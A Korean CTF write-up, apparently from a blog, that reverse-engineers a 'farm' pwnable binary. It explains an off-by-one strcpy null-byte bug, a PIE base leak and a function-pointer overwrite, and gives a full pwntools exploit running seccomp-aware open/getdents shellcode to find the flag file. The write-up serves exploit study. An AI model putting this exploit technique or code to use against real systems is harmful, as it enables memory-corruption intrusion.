프로그램 분석
sha512(flag_filename) == 4e5f9ba024a9371b047220b7f20dbf34db03fb7925a911246966bacc764f4ca31270bb9ca63ad1a7287bef39cd828be08cc0fbd1998ea920b2bb12e3f24a967d
len(flag_filename) == 8
1. 문자열을 입력하면 문자 하나하나가 씨앗인것처럼 사용된다.
2. 가을이 되기를 기다린다. (그냥 대기)
3. 수확하는데 3번째 씨앗(c)가 carrot이 되었다. 하지만 여기서 입력한문자는 6자리인데, 수확할때 발생되는 이벤트는 7번이다. 이유는 1번에서 입력할때 개행문자가 포함되어있기 때문이다.
코드분석
main()
메인함수에서 init() 함수를 통해 버퍼링 방식 변경, data변수 초기화 후 메뉴를 보여주고 switch를 통해 메뉴를 선택할 수 있게 한다.
int init(EVP_PKEY_CTX *ctx){
int iVar1;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,2,0);
data._16_8_ = (undefined8 *)malloc(0x20);
data._56_8_ = malloc(0x200);
data._8_8_ = 0;
data._0_8_ = 0;
memset(data + 0x18,0,0x20);
*data._16_8_ = 0x100c50;
data._16_8_[1] = 0x100c63;
data._16_8_[2] = 0x100c76;
data._16_8_[3] = 0x100c89;
iVar1 = seccomp_filter();
return iVar1;
}
void main(char *param_1){
undefined4 uVar1;
init((EVP_PKEY_CTX *)param_1);
do {
menu();
uVar1 = scan_int();
switch(uVar1) {
default:
param_1 = "invalid option!";
puts("invalid option!");
break;
case 1:
plant();
break;
case 2:
wait(param_1);
break;
case 3:
harvest();
break;
case 4:
wish();
break;
case 5:
puts("bye~");
/* WARNING: Subroutine does not return */
exit(1);
}
} while( true );
}
data 변수를 더블클릭해보면 bss 메모리상에 위치 하는것을 확인할 수 있는데 malloc 으로 할당받은 힙메모리의 첫번째 바이트 주소를 data 변수의 16번째 byte부터 8byte만큼(23번 byte까지)의 크기에 저장한다. (64bit 시스템 주소는 8byte)
0x20 크기 만큼의 힙 공간을 할당하고 data에 넣고 0x200크기 만큼의 힙 영역을 또 할당받아 data 변수에 넣는다.
이후 data의 0~15영역을 0으로 초기화하고, memset을 통해서 data+0x18 영역부터 0x20byte를 전부 0으로 초기화한다.
data_16_8의 공간에는 이미 heap(0x20)의 주소가 저장되어 있는데 이곳을 역참조(*data_16_8=data_16_8[0])해서 0x100c50값을 넣고, 그 역참조한 옆의 공간(data_16_8[1])에 0x100c63 을 넣는다.
*전역변수 data를 메모리상에서 확인하는 방법
gdb에서 main에 bp건 뒤 프로세스를 실행하고 info files 명령을 통해 실행된 프로세스의 메모리 영역을 확인한다.
info variables 로 확인했을때 bss영역의 범위(0x555555756040)에 data라는 심볼이 있는것을 확인할 수 있다.
x/10x 0x555555756040 으로 주소의 데이터를 확인한다. 기드라 캡쳐는 0x100c50인데, 기드라는 프로그램 올릴때 image base를 0x100000으로 지정했기 때문이다. (원하면 베이스주소를 0으로 지정해줄 수 있다.)
전역변수는 symbol인데 x/10x data를 하게되면 원하는 data 변수를 찾는게 아닌 다른 data를 찾게된다.
init() 내부의 seccomp 관련함수
seccomp : secure computting mode
seccomp_filter : 안전한 컴퓨팅 사용을 위해 시스템 콜을 제한하는 역할을 수행한다.
시스템 콜 : 운영체제가 제공하는 기능을 사용하기 위한 인터페이스이며 시스템콜을 통해 운영체제에 작업을 요청할 수 있다. 통신, 정보관리, 장치관리, 파일조작, 프로세스제어 등의 기능을 수행한다. 프로그래밍 중 API나 쉘 명령어(kill -9) 등을 통해서도 내부적으로 시스템콜을 호출하기도한다.
* 64bit와 32bit의 시스템 콜 번호가 다르다.
seccomp_init()는 seccomp를 초기화하는 함수인데, 0x7fff0000은 SCMP_RET_ALLOW 상수로 seccomp_filter() 적용된 룰을 제외한 나머지 시스템콜을 허용한다는 의미이다. (black list)
seccomp_rule_add() 를 통해 필터의 규칙을 추가하는데, 첫번째인자는 초기화된 필터의 정보(규칙을 추가할 필터), 두번째 인자는 제한 방법, 세번째는 제한할 시스템 콜 번호 를 의미한다.
제한 방법이 0인데, seccomp.h 헤더에서 찾아보면 kill을 의미한다. (제한된 시스템콜을 사용하면 kill 한다는 의미)
제한된 시스템콜 번호 : unistd_64.h에 정의되어 있다.
execve와 execveat 시스템콜이 필터에 등록되어 있는데, system() 함수나 execvep 등의 다른 시스템콜도 내부적으로는 이 두개의 시스템콜을 이용하기 때문에 쉘코드를 주입할 수 없다.
seccomp_load()함수로 필터를 커널에 로드하고 seccomp_release()를 통해 필터를 활성화한다.
void seccomp_filter(void){
int iVar1;
long lVar2;
lVar2 = seccomp_init(0x7fff0000);
if (lVar2 == 0) {
perror("seccomp error\n");
/* WARNING: Subroutine does not return */
exit(-1);
}
seccomp_rule_add(lVar2,0,0x39,0);
seccomp_rule_add(lVar2,0,0x3a,0);
seccomp_rule_add(lVar2,0,0x38,0);
seccomp_rule_add(lVar2,0,0x55,0);
seccomp_rule_add(lVar2,0,0x65,0);
seccomp_rule_add(lVar2,0,0x9d,0);
seccomp_rule_add(lVar2,0,0x3b,0);
seccomp_rule_add(lVar2,0,0x142,0);
iVar1 = seccomp_load(lVar2);
if (iVar1 < 0) {
perror("seccomp error\n");
/* WARNING: Subroutine does not return */
exit(-2);
}
seccomp_release(lVar2);
return;
}
scan_int()
메인함수에서 메뉴 번호를 입력받을때 scan_int 함수를 사용하는데, 40byte 크기의 버퍼를 입력받고, 32byte만큼만 0으로 초기화한 뒤 24byte만큼만 입력받기 때문에 버퍼 초과할 수 없다.
또한 local_10 변수에 스택의 한 부분에 저장된 값을 넣고 return 직전에 값이 변경됐는지 체크하는 canary 기법도 포함되어 BOF는 발생할 수 없다.
* canary 설정이 되어있으면 컴파일 시점에 gcc등의 컴파일러가 추가시켜주는 코드인데, canary 설정이 되어있어도 이 코드가 포함되지 않은 스택은 BOF가 발생할 수 있다.
void scan_int(void){
long in_FS_OFFSET;
char local_38 [40];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
memset(local_38,0,0x20);
read(0,local_38,0x18);
atoi(local_38);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void main(char *param_1){
init((EVP_PKEY_CTX *)param_1);
do {
menu();
uVar1 = scan_int();
switch(uVar1) {
...
menu 1번 : plant()
plant your seeds 라는 문자열 출력 후 사용자로부터 512byte 만큼의 데이터를 받아와서 data변수의 56번 인덱스를 역참조하여 저장하고 0번 byte에는 총 몇자리 입력받았는지 size를 저장한다.
void plant(void){
uint uVar1;
int local_c;
printf("plant your seeds : ");
data._0_8_ = read(0,data._56_8_,0x200);
puts("alright, look at your lovely seeds!\n");
local_c = 0;
while (local_c < 0x200) {
printf("%c ",(ulong)(uint)(int)*(char *)((long)local_c + (long)data._56_8_));
if ((local_c != 0) &&
(uVar1 = (uint)(local_c >> 0x1f) >> 0x1d, (local_c + uVar1 & 7) - uVar1 == 7)) {
puts("");
}
local_c = local_c + 1;
}
return;
}
56번 인덱스를 역참조한 주소에 저장된 문자열(위에서 read로 가져온 문자열)을 0번째부터 1byte씩 print 한다.
그리고 if문 조건에 맞으면 화면에 아무것도 아닌걸 출력하는데 이건 특별한 행동을 수행하지 않기 때문에 무시한다.
이렇게 1byte씩 512byte를 전부 출력하기 때문에 12345만 입력해도 공백이 아주 많이 출력되는 것이다.
menu 2번 : wait()
data의 0번위치에 0이 저장되어있으면(size가 0이면) 씨먼저 뿌리라고 출력하고
0이 아니라면 sleep 3초 후 data의 8번위치에 1을 세팅하고 종료한다.
__pid_t wait(void *__stat_loc){
int iVar1;
int local_c;
if (data._0_8_ == 0) {
iVar1 = puts("plant your seeds first!");
}
else {
printf("waiting until fall comes");
local_c = 0;
while (local_c < 3) {
printf(". ");
sleep(1);
local_c = local_c + 1;
}
iVar1 = puts("");
data._8_8_ = 1;
}
return (__pid_t)iVar1;
}
menu 3번 : harvest()
data의 8번위치가 0이면(wait 안한경우) 기다리라고 출력하고, 0번위치가 0이면(plant안한경우) 씨뿌리라고 출력한다.
그게 아니라면 0x200번의 수확과정을 거치는데, data의 56번 주소를 역참조해서 +count 씩 한 주소를 참조하기 때문에 결국엔 heap 메모리에 뿌렸던 씨를 1byte씩 가져온다는 의미이다.
그런데 가져온 문자가 l인경우 data의 16번째에 저장된 주소의 1번인덱스에 있는 값을 함수처럼 호출한다.
그게 아니라면 c인경우 3번인덱스의 값을 함수처럼호출하고, p인경우 2번인덱스, t인 경우에는 0번을 함수로 호출한다.
m보다 작으면서 0이 아니고 위의 문자열에 매핑이 안돼있으면 무슨작물인지 모르겠다는 메시지를 출력한다.
*data._16_8_[0] : 0x100c50 -> puts("i am healthy tomato"); return;
*data._16_8_[1] : 0x100c63 -> puts("i am healthy lettuce"); return;
*data._16_8_[2] : 0x100c76 -> puts("i am healthy potato"); return;
*data._16_8_[3] : 0x100c89 -> puts("i am healthy carrot"); return;
수확이 끝나면 data의 0(plant)과 8은 0(wait)으로 초기화하고 56번이 할당받은 힙공간은 다시 0으로 초기화한다.
void harvest(void){
char cVar1;
int local_c;
if (data._8_8_ == 0) {
puts("your seeds aren\'t ready!");
} else {
if (data._0_8_ == 0) {
puts("plant your seeds first!");
} else {
puts("look at your lovely farm!");
local_c = 0;
while (local_c < 0x200) {
cVar1 = *(char *)((long)local_c + (long)data._56_8_);
if (cVar1 == 'l') {
(*data._16_8_[1])();
} else {
if (cVar1 < 'm') {
if (cVar1 != '\0') {
if (cVar1 == 'c') {
(*data._16_8_[3])();
} else {
LAB_0010114e:
puts("well.. what\'s this?");
}
}
} else {
if (cVar1 == 'p') {
(*data._16_8_[2])();
} else {
if (cVar1 != 't') goto LAB_0010114e;
(**data._16_8_)();
}
}
}
local_c = local_c + 1;
}
data._0_8_ = 0;
data._8_8_ = 0;
memset(data._56_8_,0,0x200);
}
}
return;
}
menu 4번 : wish()
변수선언 및 스택카나리 체크로 BOF를 방지하고 배열의 33byte만큼 0으로 초기화 한뒤 32byte만큼 입력받는다. 마지막으로 data의 +0x18 위치에 입력받은 배열의 데이터를 복사한다.
* C언어에서는 배열이나 함수가 아니라면 이름 자체가 자기 자신의 주소값이 되지 않지만 (포인터는 자기자신의 주소가 아니라 담겨있는 주소) 기드라에서 전역변수의 이름은 자기자신의 주소를 가리킨다.
기드라가 디컴파일 해줄때 지역변수의 이름은 local_num 형식인데, 여기서 num은 스택상에서 ret위치와 떨어진 크기이다. local_10 변수를 예로 들면 ret영역과 0x10byte떨어져 있는데 ret (8byte) 다음엔 sfp (8byte)가 있을거고 그 다음이 local_10 (8byte) 변수인것을 알 수 있다.
local_10 변수는 스택카나리를 위해 선언된 변수이므로 스택의 맨 밑에 존재한다.
void wish(void){
long in_FS_OFFSET;
char local_38 [40];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
memset(local_38,0,0x21);
printf("do you want any\tnew plant? : ");
read(0,local_38,0x20);
puts("alright! happy farming!");
strcpy(data + 0x18,local_38);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
40byte크기의 영역에 32byte만큼 입력(사실은 0a까지 33byte를 입력받았지만 read하는 길이가 32byte라서 저장되지는 않음)받았기 때문에 문제되지 않는다.
strcpy로 복사되는 영역은 data 전역변수의 24번부터55번까지인데, strcpy 함수는 문자열 복사 후 저장되는 위치 맨 뒤에 nullbyte를 삽입하는 특징이 있다.
strcpy 실행 전 bss 영역(data전역변수)
strcpy 실행 후 bss 영역
strcpy 실행 이후에는 56번째 바이트가 null로 저장되어 0x200 크기의 힙 메모리를 가리키던 주소가 90 -> 00으로 변경된다. (0x200 byte의 힙 메모리에는 원래 씨앗들이 저장되어 있었다.)
OBO(Off-By-One) : 버퍼 오버플로우의 일종인데, 프로그래머가 고려하지 못한 부분에서의 1byte로 발생하는 오류이다.
개발자가 생각하지 못한 반복문인덱스로 인해 루프를 1회 더 실행하는 경우나, 문자열을 복사할때 null byte를 고려하지 못해 1byte를 오버하는 경우에 발생할 수 있다.
공격
1. 베이스주소 찾기
일단 베이스주소가 계속 변경되기 때문에 베이스주소를 찾아야한다.
처음 init() 함수가 실행되고 난 후의 메모리 구조이다.
wish() 함수에서 32byte를 입력받고 OBO버그가 발생된 이후의 메모리 구조이다.
1byte크기의 BOF가 발생하면서 90이 00으로 덮어씌여 data 변수의 56번이 기존에 가리키던 위치보다 상위 주소를 가리키게된다.
씨앗을 심을 때 사용자 입력으로 받은 값의 길이와 상관 없이 고정적으로 512byte를 스페이스와 함께 한번씩 출력하게 되어있다. data의 56번이 가리키는 주소가 덮어씌워지면서 씨앗이 저장되는 주소가 변경되었는데, 씨앗을 저장하고 512byte를 출력하면서 아래의 함수의 주소까지 출력하게된다.
리시브되는 데이터는 512byte이기 때문에 함수주소 전까지 읽고 버린다음 함수주소만 가져와서 계산하면 베이스주소를 알 수 있게 된다.
서버에는 주소가 Little Endian으로 저장되어 있고 낮은주소부터 그대로 send 했기 때문에 클라이언트에서 주소를 확인하려면 뒤집어줘야한다. 서버로 전송할때는 먼저보낸 데이터가 앞(낮은주소)에 쌓이기 때문에 다시 뒤집어줘야 한다.
2. 쉘코드 작성 (현재 디렉터리 파일 open)
쉘코드는 exec가 seccomp 필터링으로 막혀있기 때문에 파일을 오픈하고 플래그 파일을 cat 하는 방식을 사용한다.
하지만 그 전에 파일명을 알아야 하기 때문에 디렉터리 구조를 먼저 파악하는게 우선이다.
디렉터리 구조를 파악하려면 디렉터리 파일을 open 하고 read를 통해 내부를 읽으면 디렉터리의 구조를 알 수 있다.
shellcraft를 통해 쉘코드를 작성하고 push ".\x00" 명령어로 먼저 ls로 확인할 위치인 .(현재디렉터리)를 push 하고 open함수를 통해 rsp를 readonly, 권한 0(readonly는 별도 권한이 없어도됨)으로 연다.
추가로 함수 에필로그인 leave와 ret 명령을 추가해서 쉘코드를 작성한다.
context(arch="amd64", os="linux")
shellcode = asm(shellcraft.pushstr(".\x00"))
shellcode += asm(shellcraft.open("rsp", "O_RDONLY", 0))
shellcode += asm('leave')
shellcode += asm('ret')
wish(shellcode)
작성한 쉘코드는 wish 함수를 통해 전달하여 BSS 영역에 위치시킬 수 있다.
힙메모리는 시스템 상황에 따라 다른곳을 할당받을 수 있기 때문에 BSS영역을 사용한다.
3. 쉘코드 실행시키기
1번에서 이미 OBO 버그를 통해 data의 56번(씨앗이 저장되는 공간)이 heap 메모리의 상위주소를 가리키도록 변경했다.
그럼 plant()를 통해 씨앗을 심을때 data의 16번(i'm tomato 함수)이 가리키고있는 공간까지 덮어씌울 수 있게 된다.
이곳을 쉘코드주소로 덮어씌운뒤 i'm tomato 함수를 실행시킨다면 i'm tomato가 아닌 쉘코드가 실행될것이다.
쉘코드는 wish함수로 입력받았고, wish는 data+24영역에 데이터를 입력하기 때문에
base주소 + (data+24)영역의 상대주소(0x00202058)이다.
아래의 그림에서는 기드라의 base주소가 0x00100000으로 설정되어있기 때문에 감안해야한다.
plant() 함수를 통해 씨앗을 입력받을때 i'm tomato 함수(사실은 쉘코드)를 실행시키기 위해 t를 한번 입력받고 더미데이터를 추가한 뒤 i'm tomato 함수의 주소가 저장된 위치까지 내려오게 되면 쉘코드의 주소를 삽입한다.
그리고 wait() -> harvest() 를 실행하면 i'm tomato가 실행되면서 디렉터리 파일을 open 했다.
4. open한 디렉터리를 읽기(getdents 시스템콜 사용)
리눅스의 ls 명령어도 내부적으로 getdents라는 시스템 콜을 사용하여 디렉터리를 읽어온다.
pwntools에서는 통상적으로 shellcraft.syscall을 이용해서 시스템콜을 호출하는 쉘코드를 작성한다.
첫번째인자는 실행할 시스템콜, 그 뒤의 인자는 해당 시스템콜의 인자인데, getdents로 읽어올 fd를 적으면 된다.
일단 프로그램이 실행되면 0,1,2 fd는 표준입출력,에러를 할당받고 그 이후에 오픈한 파일부터는 3번을 입력받는다.
소스코드를 분석했을때 프로그램 내부에서 오픈한 파일이 .(현재디렉터리)밖에 없기 때문에 3을 입력하게 된다.
디렉터리파일을 최대 200byte만큼 읽어와서 rsp에 저장한다는 의미이다.
* getdents(int fd, void* buf, size_t count); -> fd에서 최대 count만큼 읽어와서 buf에 저장한다.
그리고 write를 통해 rsp에 있는 데이터를 fd 1(표준출력)으로 200byte만큼 쓴다.
shellcode = asm(shellcraft.syscall("SYS_getdents", 3, "rsp", 200))
shellcode += asm(shellcraft.write(1, "rsp", 200))
이전과 동일하게 wish() -> plant() -> wait() -> harvest() 를 통해 쉘코드를 실행하게 된다.
결국 현재 디렉터리를 읽어서 표준 출력으로 출력된다.
5. 플래그 파일 읽기
문제에서 플래그 파일에 대한 힌트가 있다.
[Clarification]
sha512(flag_filename) == 4e5f9ba024a9371b047220b7f20dbf34db03fb7925a911246966bacc764f4ca31270bb9ca63ad1a7287bef39cd828be08cc0fbd1998ea920b2bb12e3f24a967d
len(flag_filename) == 8
위에서 찾은 플래그 파일이름도 8자리이고, sha512 해쉬로 확인해보면 힌트와 동일한 값이 출력된다.
공격코드
from pwn import *
def plant(payload):
sleep(1)
p.sendline('1')
sleep(1)
p.sendline(payload)
print("[sended - plant] "+ repr(payload))
sleep(1)
def wait():
sleep(1)
p.sendline('2')
print("[wait()]")
sleep(5)
def harvest():
sleep(1)
p.sendline('3')
print("[harvest()]")
sleep(1)
def wish(payload):
sleep(1)
p.sendline('4')
sleep(1)
print("[sended - wish] "+ repr(payload))
p.sendline(payload)
sleep(1)
p = remote('192.168.203.128', 28312)
wish('a'*0x20)
plant(p64(0))
print("\n[recv]")
print(hexdump(p.recv(0x648)))
baseRaw = p.recvuntil(b'\x0a')
print("\n[baseRaw]")
print(hexdump(baseRaw))
baseCut = baseRaw[0:11]
print("\n[baseCut]")
print(baseCut)
baseCompress = baseCut.replace(b' ', b'')
print("\n[baseCompress]")
print(baseCompress)
baseLjust = baseCompress.ljust(8, b'\x00')
print("\n[baseLjust]")
print(baseLjust)
baseU64 = u64(baseLjust)
print("\n[baseU64]")
print("[10] " + repr(baseU64))
print("[16] " + hex(baseU64))
base = baseU64 - 0xc50
print("\n[base]")
print("[10] " + repr(base))
print("[16] " + hex(base))
shellcodeAddr = base + 0x202058
print("\n[shellcodeAddr]")
print("[16] " + hex(shellcodeAddr))
# open
context(arch="amd64", os="linux")
shellcode = asm(shellcraft.pushstr(".\x00"))
shellcode += asm(shellcraft.open("rsp", "O_RDONLY", 0))
shellcode += asm('leave')
shellcode += asm('ret')
print("\n[shellcode] - open")
print("[length] " + repr(len(shellcode)))
print("[code] " + repr(shellcode))
wish(shellcode)
plant('t'.ljust(0x10, '\x00').encode()+p64(shellcodeAddr))
wait()
harvest()
# getdents
shellcode = asm(shellcraft.syscall("SYS_getdents", 3, "rsp", 200))
shellcode += asm(shellcraft.write(1, "rsp", 200))
print("\n[shellcode] - getdents")
print("[length] " + repr(len(shellcode)))
print("[code] " + repr(shellcode))
wish(shellcode)
plant('t'.ljust(0x10, '\x00').encode()+p64(shellcodeAddr))
wait()
harvest()
p.interactive()
'리버싱 > 리눅스' 카테고리의 다른 글
DIMICTF 2019 : ezthread (0) | 2020.02.20 |
---|---|
DIMICTF 2019 : dimi-login (strncmp, 메모리릭, ROP, 스택피버팅) (0) | 2020.02.17 |
메모리 보호 기법 (0) | 2020.02.09 |
심볼 파일? 심볼 테이블? (0) | 2020.02.09 |
DIMICTF 2019 : ropsaurusrex2 (ROP, PIE기법) (0) | 2020.02.09 |